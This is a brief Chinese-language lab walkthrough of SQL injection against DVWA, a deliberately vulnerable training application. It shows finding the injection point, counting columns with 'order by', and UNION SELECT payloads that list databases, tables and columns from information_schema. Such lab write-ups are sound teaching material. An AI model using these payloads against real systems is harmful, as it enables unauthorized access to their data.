![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38CXlZHbvN3cpR2Lc1TPB10QGtWUCpEMJ9CXsxWam9CXwADNvwVZ6l2c052bm9CXUJDT1wkNhVzLcRnbvZ2Lc1TP35UNJpWT5dGRNBDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2LcRHelR3LcJzLctmch1mclRXY39DNxMDN0UDM1ETMykDM4EDMy8CX0Vmbu4GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.jpg)
提示輸入User ID,将顯示ID,First name, Surname.這裡輸入ID為1,
可以得出此處為注入點,嘗試輸入1‘ 傳回錯誤。
利用order by num語句猜測查詢資訊清單,修改num的值,輸入1’ order by 1#頁面正常顯示。繼續測試,1’ order by 2#、1’ order by 3#
Num值為2時顯示正常,3時報錯,由此可以推斷有兩列。
輸入 1' union select 1,schema_name from information_schema.schemata#查詢mysql資料庫,所有資料庫名字:這裡利用mysql預設的資料庫information_scehma,該資料庫存儲了Mysql所有資料庫和表的資訊
爆表名:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' and table_type='base table' #
爆字段: 1' union select 1,column_name from information_schema.columns where table_name='users' #